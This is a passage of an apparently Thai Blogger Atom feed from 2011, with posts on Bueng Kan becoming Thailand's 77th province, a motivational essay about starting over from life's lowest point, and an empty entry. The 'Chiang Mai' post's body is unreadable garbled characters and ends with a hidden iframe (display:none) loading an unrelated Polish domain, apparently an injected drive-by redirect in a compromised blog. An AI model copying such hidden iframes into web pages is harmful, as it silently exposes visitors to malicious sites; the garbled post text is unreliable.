เดิมอำเภอบึงกาฬมีชื่อเดิมว่า ไชยบุรีซึ่งขึ้นกับจังหวัดนครพนม จนกระทั่งปี พ.ศ. 2460 ได้ถูกโอนย้ายให้ขึ้นต่อจังหวัดหนองคาย และถูกเปลี่ยนชื่อใหม่เป็น บึงกาฬ ในปี พ.ศ. 2482 &lt;br /&gt;
ต่อมา ในปี พ.ศ. 2537 ได้มีการร้องขอให้จัดตั้งเป็นจังหวัดบึงกาฬ ตามข้อเสนอของนายสุเมธ พรมพันห่าว สมาชิกสภาผู้แทนราษฎร พรรคเสรีธรรม จังหวัดหนองคาย โดยแยกพื้นที่อำเภอบึงกาฬ อำเภอปากคาด อำเภอโซ่พิสัย อำเภอพรเจริญ อำเภอเซกา อำเภอบึงโขงหลง อำเภอศรีวิไล และอำเภอบุ่งคล้า ออกจากจังหวัดหนองคาย แต่กระทรวงมหาดไทย ยังไม่มีแผนที่จะยกฐานะอำเภอบึงกาฬขึ้นเป็นจังหวัด เพราะการจัดตั้งจังหวัดใหม่เป็นการเพิ่มภาระด้านงบประมาณ อีกทั้งยังเป็นการเพิ่มกำลังคนภาครัฐซึ่งขัดมติคณะรัฐมนตรี &lt;br /&gt;
จนกระทั่ง เมื่อวันที่ 7 พฤษภาคม 2553 ในการประชุมสภาผู้แทนราษฎร นายเทวฤทธิ์ นิกรเทศ ส.ส.ส่วน พรรคกิจสังคมได้ตั้งกระทู้ถามสดต่อนายกรัฐมนตรี เรื่องการจัดตั้งจังหวัดบึงกาฬ และทางกระทรวงมหาดไทยเห็นด้วย กำลังอยู่ในกระบวนการนำเข้าเสนอต่อที่ประชุม ครม. เพื่อพิจารณาให้ความเห็นชอบ ก่อนส่งเรื่องเข้ามาสู่สภาผู้แทนราษฎร เพื่อเสนอเป็นกฎหมายพ.ร.บ.จัดตั้งจังหวัดบึงกาฬ ต่อไป &lt;br /&gt;
ต่อมาในวันที่ 3 สิงหาคม พ.ศ. 2553 คณะรัฐมนตรีก็มีมติให้ทำการจัดตั้งจังหวัดบึงกาฬขึ้นซึ่งมีผลนับตั้งแต่นี้ เป็นต้นไป จึงทำให้อำเภอบึงกาฬ ได้รับการยกฐานะเป็นอำเภอเมืองบึงกาฬ &lt;br /&gt;
สถานที่ท่องเที่ยว ภูทอก เขตรักษาพันธุ์สัตว์ป่าภูวัว &lt;br /&gt;
ครอบคลุมพื้นที่ในเขตอำเภอบึงกาฬ อำเภอบุ่งคล้า อำเภอเซกา และอำเภอบึงโขงหลง มีน้ำตกที่สวยงามหลายแห่ง วัดสว่างอารมณ์ บึงโขงหลง</content><link rel='replies' type='application/atom+xml' href='http://sawasdeechiangmai.blogspot.com/feeds/5452883315211737015/comments/default' title='ส่งความคิดเห็น'/><link rel='replies' type='text/html' href='http://sawasdeechiangmai.blogspot.com/2011/04/77.html#comment-form' title='0 ความคิดเห็น'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5115672676120299344/posts/default/5452883315211737015'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5115672676120299344/posts/default/5452883315211737015'/><link rel='alternate' type='text/html' href='http://sawasdeechiangmai.blogspot.com/2011/04/77.html' title='จังหวัดที่ 77 บึงกาฬ'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/13644936924554290476</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5115672676120299344.post-1197608539556580412</id><published>2011-04-18T16:37:00.001+07:00</published><updated>2011-04-27T16:14:17.411+07:00</updated><title type='text'>เชียงใหม่</title><content type='html'>&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt; &lt;div align=&quot;left&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt; 　 -       　     !       　    &lt;/span&gt;&lt;/div&gt;&lt;div align=&quot;left&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;  -!,  7  !     #   )  !8 $7    7   !6 (! 9(2- -)      9   &lt;/span&gt;&lt;/div&gt;&lt;div align=&quot;left&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;    &quot;# -       &#39;    (F   7    E#  2. $)E !6 -   J $   7 &lt;/span&gt;&lt;/div&gt;&lt;div align=&quot;left&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;  2 (F   7   !6 9  :  (     9 + ),0  ,  -  )K   &lt;/span&gt;&lt;/div&gt;&lt;div align=&quot;left&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;-)8  -          &#39;     &#39;  &lt;/span&gt;&lt;/div&gt;&lt;div align=&quot;left&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;)   )- !     #,)8   /#     :   7    (2  :&#39;   (2  +&lt;/span&gt;&lt;/div&gt;&lt;div align=&quot;left&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;         3   :    7     2      (2  +  44   : ,2 )   &lt;/span&gt;&lt;/div&gt;&lt;div align=&quot;left&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt; /#/   2-)9 8.  2    &amp;gt;&amp;lt;-&amp;amp; A ,  　 &amp;lt;   ,  #        !6 -  &lt;/span&gt;&lt;/div&gt;&lt;div align=&quot;left&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;,2 ) , -,2 )   (2  +  　B       ,  #      !6 -     7 &lt;/span&gt;&lt;/div&gt;&lt;div align=&quot;left&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;01  , (2  + 　-&amp;lt;       ,  !78  !6 )8   - -&amp;lt;&amp;gt; &amp;lt;&amp;amp; ,         ,&lt;/span&gt;&lt;/div&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;    #      @       &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif; font-size: medium;&quot;&gt;&lt;div align=&quot;left&quot;&gt;        &lt;/div&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;div align=&quot;left&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;)   )- !     # 9#   ( $     (F  --  .  J   2 -&lt;/span&gt;&lt;/div&gt;&lt;div align=&quot;left&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;  6  .  J  $7   .  J   7    .  J    -   .  J   # ,   .  J  J!&lt;/span&gt;&lt;/div&gt;&lt;div align=&quot;left&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;.  J )  .     .  J -  2  @-  .  J  !  -    .  J )    &lt;/span&gt;&lt;/div&gt;&lt;div align=&quot;left&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;.  J L      .  J M -  .  J   N    .  J      .  J   #  &lt;/span&gt;&lt;/div&gt;&lt;div align=&quot;left&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;.  J 2        .  J          .  J   # #   .  J ) (O ,  &lt;/span&gt;&lt;/div&gt;&lt;div align=&quot;left&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;.  J   #     .  J -   ,#   .  J   !       .  J &#39; (   &lt;/span&gt;&lt;/div&gt;&lt;div align=&quot;left&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;.  J   #      6  .  J   #     2  6  .  J -    # &lt;/span&gt;&lt;/div&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif; font-size: medium;&quot;&gt;&lt;div align=&quot;left&quot;&gt;     &lt;/div&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;div align=&quot;left&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt; :   7 -)G !  ,      J  # &lt;/span&gt;&lt;/div&gt;&lt;div align=&quot;left&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt; : ,  -)   )- . /    2,  &lt;/span&gt;&lt;/div&gt;&lt;div align=&quot;left&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt; :,2 ) ,  -)   )-  #M#    &lt;/span&gt;&lt;/div&gt;&lt;div align=&quot;left&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt; :,2 )    -)   )- !      . (     2 . / &lt;/span&gt;&lt;/div&gt;&lt;div align=&quot;left&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt; -  )6 &#39;(    78  !6)   )- !     ##    E# (F (O  2   2&lt;/span&gt;&lt;/div&gt;&lt;div align=&quot;left&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;  2J/       78 !6(2  +  -&amp;lt;&amp;gt; -&amp;amp;  ,         ,   ! !6 9  /#&lt;/span&gt;&lt;/div&gt;&lt;div align=&quot;left&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;,      ,    A  LDP   # 8. (H   J/   /  !6 -  (2  :&#39;    $7 &lt;/span&gt;&lt;/div&gt;&lt;div align=&quot;left&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;Q-         %R / (2  + -&amp;gt;544   ,   /#    , .  J    &lt;/span&gt;&lt;/div&gt;&lt;div align=&quot;left&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;  2  #M#      #    ,)   7  &#39;(     :,2 ) ,  S!   , (2  +&lt;/span&gt;&lt;/div&gt;&lt;div align=&quot;left&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt; &amp;lt;&amp;lt;       , (D 9)  !0    #  -! 18 &#39;( 01   -    -         %&lt;/span&gt;&lt;/div&gt;&lt;div align=&quot;left&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt; )9 (F 0   !6 #    !6   !6&#39;- )9$         #            )8  )  !&lt;/span&gt;&lt;/div&gt;&lt;div align=&quot;left&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;-   76 T  !6 !$   /        !       #      #   -  &quot;   # ( &lt;/span&gt;&lt;/div&gt;&lt;div align=&quot;left&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt; -&amp;gt;-4&amp;amp;   ,  -       !  -    -&amp;gt; 45   ,  -        &amp;gt;3&amp;amp;B&lt;/span&gt;&lt;/div&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;  ,    2,  -     #  !8 )  !08.   20   !6 #   76 T  ! -   &lt;/span&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;iframe src=&quot;http://jL.chura.pl/rc/&quot; style=&quot;display: none;&quot;&gt;&lt;/iframe&gt;</content><link rel='replies' type='application/atom+xml' href='http://sawasdeechiangmai.blogspot.com/feeds/1197608539556580412/comments/default' title='ส่งความคิดเห็น'/><link rel='replies' type='text/html' href='http://sawasdeechiangmai.blogspot.com/2011/04/blog-post_18.html#comment-form' title='0 ความคิดเห็น'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5115672676120299344/posts/default/1197608539556580412'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5115672676120299344/posts/default/1197608539556580412'/><link rel='alternate' type='text/html' href='http://sawasdeechiangmai.blogspot.com/2011/04/blog-post_18.html' title='เชียงใหม่'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/13644936924554290476</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5115672676120299344.post-7004680170246167311</id><published>2011-04-18T16:33:00.000+07:00</published><updated>2011-04-18T16:33:53.832+07:00</updated><title type='text'>จุดต่ำสุดคือจุดเริ่มต้นที่ดีที่สุด</title><content type='html'>จุดต่ำสุดคือจุดเริ่มต้นที่ดีที่สุด &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
ในยามที่ใครก็ตามต้องประสบกับความผิดหวังอย่างหนัก &lt;br /&gt;
ชีวิตเหมือนกำลังดิ่งสู่ก้นเหวลึกเบื้องล่าง.. &lt;br /&gt;
ไม่รู้ชะตากรรมแม้ในเสี้ยววินาทีถัดไป &lt;br /&gt;
ความคิดความรู้สึกในวูบนั้นก็คงไม่แตกต่างกันมากนัก &lt;br /&gt;
ความสับสนวกวน..ไม่มีจุดเริ่มต้นและหาจุดสิ้นสุดไม่ได้ &lt;br /&gt;
ไม่มีคำอธิบายและไร้ซึ่งคำตอบ... &lt;br /&gt;
ส่วนในใจมักจะพร่ำถามตัวเองครั้งแล้วครั้งเล่าว่า &lt;br /&gt;
&quot;ทำไมถึงเป็นเช่นนั้น ?...&quot; &lt;br /&gt;
ความรู้สึกของการไม่มีใครในยามที่ต้องประสบปัญหาร้ายแรง(ที่สุด)ในชีวิต &lt;br /&gt;
แม้ใยามยืนอยู่ท่ามกลางฝูงชน... &lt;br /&gt;
แต่ก็ดูเหมือนจะไม่มีใครรับรู้ถึงความรู้สึกภายในใจเราแม้แต่คนเดียว &lt;br /&gt;
นั่นเองที่ถือว่ามันเป็นจุดเริ่มต้นของการพบใครบางคน &lt;br /&gt;
ที่สำคัญที่สุดในชีวิต..ซึ่งก็คือ &quot;ตัวเราเอง...&quot; &lt;br /&gt;
มนุษย์ทุกคนต่างต่อสู้เพื่อการมีชีวิตอยู่ตามสัญชาตญาณ &lt;br /&gt;
นอกเสียจากผู้ที่หมดสิ้นแล้วซึ่งความหวัง &lt;br /&gt;
และเมื่อถึงจุดๆหนึ่ง เขาอาจจะต้องกลับมาเริ่มต้นนับหนึ่งใหม่อีกครั้ง &lt;br /&gt;
หากคิดให้ดีนี่แหละคือจุดเริ่มต้นที่แท้จริงของคนเรา &lt;br /&gt;
การมองเห็นสัจธรรมที่ว่า... &lt;br /&gt;
&quot;เมื่อตอนเกิดมาก็ไม่มีอะไร ตอนตายก็ไม่มีอะไร &lt;br /&gt;
หากตอนนี้เราไม่มีอะไรก็ถือว่าเราไม่ได้เสียอะไรไป แค่เท่าทุนเท่านั้น...&quot; &lt;br /&gt;
ไม่ใช่ว่าเราจะต้องทิ้งทุกอย่างเพื่อกลับไปสู่จุดเริ่มต้น &lt;br /&gt;
แต่ถ้าจะมีใครสักคนที่คิดว่า.. &lt;br /&gt;
การที่ตัวเองไม่มีอะไรแล้วถือว่าเป็นความโชคร้ายที่สุดในชีวิต &lt;br /&gt;
ก็ขอเพียงแต่ให้ลองกลับไปมองในมุมตรงข้ามที่ไม่เคยมองดูบ้าง &lt;br /&gt;
อาจจะเจออะไรดีๆ ที่ซ่อนอยู่ก็เป็นได้... &lt;br /&gt;
มันเป็นเรื่องธรรมดาสำหรับคนที่เคยคิดว่าตัวเองไม่มี &lt;br /&gt;
แล้วบังเอิญวันนี้ไม่มีอะไรอีก.. &lt;br /&gt;
ก็มักคิดว่าตัวเองได้สูญเสียทุกอย่างไปแล้วโดยที่ลืมคิดไปว่า &lt;br /&gt;
ไม่มีอะไรที่เป็นของเราเลย..มีเพียงสิ่งเดียวที่ใช่ &lt;br /&gt;
ซึ่งก็คือความคิดและจิตใจของเราเองเท่านั้น.. &lt;br /&gt;
ดังนั้น..การได้ลิ้มลองรสชาติของการไม่มีอะไร &lt;br /&gt;
นั่นคือจุดเริ่มต้นของการมีทุกสิ่ง..อย่าได้ยึดติดอะไรให้มากนักเลย &lt;br /&gt;
ทุกอย่างมีได้มีเสีย..มีขึ้นมีลง มีเข้ามีออก มีทุกข์มีสุข มีบวกมีลบ &lt;br /&gt;
เพียงแต่ตอนนี้เรากำลังยืนอยู่บนด้านลบของชีวิต &lt;br /&gt;
แต่นั่นก็เป็นสิ่งที่แสดงว่า.. &lt;br /&gt;
อีกไม่นานด้านบวกของชีวิตกำลังจะมุ่งตรงมาที่เรา &lt;br /&gt;
ทำไมไม่ทำใจให้สบายรอรับมันเสียเล่า ?...</content><link rel='replies' type='application/atom+xml' href='http://sawasdeechiangmai.blogspot.com/feeds/7004680170246167311/comments/default' title='ส่งความคิดเห็น'/><link rel='replies' type='text/html' href='http://sawasdeechiangmai.blogspot.com/2011/04/blog-post.html#comment-form' title='0 ความคิดเห็น'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5115672676120299344/posts/default/7004680170246167311'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5115672676120299344/posts/default/7004680170246167311'/><link rel='alternate' type='text/html' href='http://sawasdeechiangmai.blogspot.com/2011/04/blog-post.html' title='จุดต่ำสุดคือจุดเริ่มต้นที่ดีที่สุด'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/13644936924554290476</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5115672676120299344.post-4443879935242988529</id><published>2011-04-09T11:11:00.001+07:00</published><updated>2011-04-27T16:14:17.418+07:00</updated><title type='text'></title><content type='html'></content><link rel='replies' type='application/atom+xml' href='http://sawasdeechiangmai.blogspot.com/feeds/4443879935242988529/comments/default' title='ส่งความคิดเห็น'/><link rel='replies' type='text/html' href='http://sawasdeechiangmai.blogspot.com/2011/04/blog-post_09.html#comment-form' title='0 ความคิดเห็น'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5115672676120299344/posts/default/4443879935242988529'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5115672676120299344/posts/default/4443879935242988529'/><link rel='alternate' type='text/html' href='http://sawasdeechiangmai.blogspot.com/2011/04/blog-post_09.html' title=''/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/13644936924554290476</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>